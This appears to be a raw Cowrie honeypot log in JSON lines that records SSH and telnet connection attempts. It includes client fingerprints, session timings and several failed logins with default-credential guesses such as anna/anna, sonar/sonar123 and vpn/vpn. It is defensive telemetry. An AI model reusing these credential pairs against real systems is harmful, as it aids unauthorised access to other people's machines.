{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:57.276730Z","src_ip":"159.203.92.129","session":"708b34ab3249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"anna","message":"login attempt [anna/anna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:57.288907Z","src_ip":"159.203.92.129","session":"708b34ab3249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.139.27","src_port":52046,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d0ba30f02a0","protocol":"telnet","message":"New connection: 149.202.139.27:52046 (159.203.135.109:23) [session: 0d0ba30f02a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:57.772355Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:58.295118Z","src_ip":"159.203.92.129","session":"708b34ab3249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.13901686668396,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:59.612262Z","src_ip":"23.254.167.244","session":"567fa63de966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772971630096436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:00.073675Z","src_ip":"94.23.163.94","session":"f06583894575","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819974660873413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:00.527302Z","src_ip":"5.189.169.71","session":"bbe058d5e7f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50314,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ee1de0bf37","protocol":"ssh","message":"New connection: 176.65.139.103:50314 (10.17.0.5:22) [session: 06ee1de0bf37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:00.670604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:00.709655Z","src_ip":"176.65.139.103","session":"06ee1de0bf37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:00.793576Z","src_ip":"176.65.139.103","session":"06ee1de0bf37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:01.102528Z","src_ip":"176.65.139.103","session":"06ee1de0bf37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58684,"dst_ip":"10.17.0.5","dst_port":23,"session":"360ea51a618c","protocol":"telnet","message":"New connection: 5.189.169.71:58684 (10.17.0.5:23) [session: 360ea51a618c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:01.608198Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58690,"dst_ip":"10.17.0.5","dst_port":23,"session":"8125889b405e","protocol":"telnet","message":"New connection: 5.189.169.71:58690 (10.17.0.5:23) [session: 8125889b405e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:01.660688Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:02.208797Z","src_ip":"176.65.139.103","session":"06ee1de0bf37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58702,"dst_ip":"10.17.0.5","dst_port":23,"session":"3122589e891b","protocol":"telnet","message":"New connection: 5.189.169.71:58702 (10.17.0.5:23) [session: 3122589e891b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:02.241027Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58704,"dst_ip":"10.17.0.5","dst_port":23,"session":"30f6525d6039","protocol":"telnet","message":"New connection: 5.189.169.71:58704 (10.17.0.5:23) [session: 30f6525d6039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:06.407276Z"}
{"eventid":"cowrie.session.closed","duration":32.98280072212219,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:06.435089Z","src_ip":"23.254.167.244","session":"ad70cf352f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51784,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ff376a3e3c2","protocol":"ssh","message":"New connection: 176.65.139.103:51784 (10.17.0.5:22) [session: 4ff376a3e3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:07.443420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:07.448700Z","src_ip":"176.65.139.103","session":"4ff376a3e3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.038920879364014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:07.459809Z","src_ip":"94.23.163.94","session":"08d2875d91c4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:07.534438Z","src_ip":"176.65.139.103","session":"4ff376a3e3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:07.797530Z","src_ip":"176.65.139.103","session":"4ff376a3e3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.331452131271362,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:07.801989Z","src_ip":"115.210.233.3","session":"ee8312343642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828548431396484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:08.077455Z","src_ip":"5.189.169.71","session":"a5efa8e87da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:08.881845Z","src_ip":"176.65.139.103","session":"4ff376a3e3c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57102,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ef01f5a2f70","protocol":"telnet","message":"New connection: 23.254.167.244:57102 (159.203.135.109:23) [session: 8ef01f5a2f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:09.664806Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46468,"dst_ip":"10.17.0.5","dst_port":23,"session":"f35b06161d3f","protocol":"telnet","message":"New connection: 94.23.163.94:46468 (10.17.0.5:23) [session: f35b06161d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:11.008647Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59524,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceb67b6ade02","protocol":"telnet","message":"New connection: 23.254.167.244:59524 (159.203.135.109:23) [session: ceb67b6ade02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:11.846957Z"}
{"eventid":"cowrie.session.closed","duration":30.928499698638916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:13.123665Z","src_ip":"149.202.139.27","session":"7bc895d7a9ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33484,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f394b7eaa71","protocol":"telnet","message":"New connection: 23.254.167.244:33484 (159.203.135.109:23) [session: 6f394b7eaa71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:13.486762Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38608,"dst_ip":"10.17.0.5","dst_port":23,"session":"81fddc07ef0a","protocol":"telnet","message":"New connection: 5.189.169.71:38608 (10.17.0.5:23) [session: 81fddc07ef0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:13.599735Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58032,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c106a2f7a62","protocol":"telnet","message":"New connection: 94.23.163.94:58032 (10.17.0.5:23) [session: 3c106a2f7a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:14.191116Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f93cbaef14c","protocol":"ssh","message":"New connection: 176.65.139.103:41070 (10.17.0.5:22) [session: 3f93cbaef14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:14.505738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:14.510686Z","src_ip":"176.65.139.103","session":"3f93cbaef14c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:14.592236Z","src_ip":"176.65.139.103","session":"3f93cbaef14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.441105127334595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:14.798412Z","src_ip":"94.23.163.94","session":"c1e4ff589c9d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:14.979354Z","src_ip":"176.65.139.103","session":"3f93cbaef14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60023546218872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:16.117025Z","src_ip":"5.189.169.71","session":"5ba7f4f43218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:16.147527Z","src_ip":"176.65.139.103","session":"3f93cbaef14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58042,"dst_ip":"10.17.0.5","dst_port":23,"session":"57956193ed5e","protocol":"telnet","message":"New connection: 94.23.163.94:58042 (10.17.0.5:23) [session: 57956193ed5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:16.974593Z"}
{"eventid":"cowrie.session.closed","duration":31.244001388549805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:17.042661Z","src_ip":"5.189.169.71","session":"a7d746b48ad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58052,"dst_ip":"10.17.0.5","dst_port":23,"session":"b460474507d5","protocol":"telnet","message":"New connection: 94.23.163.94:58052 (10.17.0.5:23) [session: b460474507d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:17.072222Z"}
{"eventid":"cowrie.session.closed","duration":30.937193155288696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:18.070969Z","src_ip":"5.189.169.71","session":"c9791fa2d620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37670,"dst_ip":"159.203.135.109","dst_port":23,"session":"57d24eec7a49","protocol":"telnet","message":"New connection: 23.254.167.244:37670 (159.203.135.109:23) [session: 57d24eec7a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:18.456194Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":57636,"dst_ip":"10.17.0.5","dst_port":22,"session":"604f4af4bc2f","protocol":"ssh","message":"New connection: 20.244.18.126:57636 (10.17.0.5:22) [session: 604f4af4bc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:20.399838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:20.405083Z","src_ip":"20.244.18.126","session":"604f4af4bc2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:20.592858Z","src_ip":"20.244.18.126","session":"604f4af4bc2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39538,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1ba1bf55339","protocol":"telnet","message":"New connection: 23.254.167.244:39538 (159.203.135.109:23) [session: e1ba1bf55339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:21.017107Z"}
{"eventid":"cowrie.session.closed","duration":30.548330545425415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:21.064378Z","src_ip":"94.23.163.94","session":"cec51b7ed713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"d381ff9c8a44","protocol":"telnet","message":"New connection: 94.23.163.94:58066 (10.17.0.5:23) [session: d381ff9c8a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:21.234045Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfghjkl;","message":"login attempt [ubuntu/asdfghjkl;] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:21.375315Z","src_ip":"20.244.18.126","session":"604f4af4bc2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.421634912490845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:21.667945Z","src_ip":"5.189.169.71","session":"dd1fa2d853f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45794,"dst_ip":"10.17.0.5","dst_port":23,"session":"002d0a5b1a6c","protocol":"telnet","message":"New connection: 5.189.169.71:45794 (10.17.0.5:23) [session: 002d0a5b1a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:22.273449Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed435a5bffb8","protocol":"telnet","message":"New connection: 94.23.163.94:58082 (10.17.0.5:23) [session: ed435a5bffb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:22.333145Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41100,"dst_ip":"10.17.0.5","dst_port":22,"session":"47c9e0e64c40","protocol":"ssh","message":"New connection: 176.65.139.103:41100 (10.17.0.5:22) [session: 47c9e0e64c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:22.497778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:22.502733Z","src_ip":"176.65.139.103","session":"47c9e0e64c40","protocol":"ssh"}
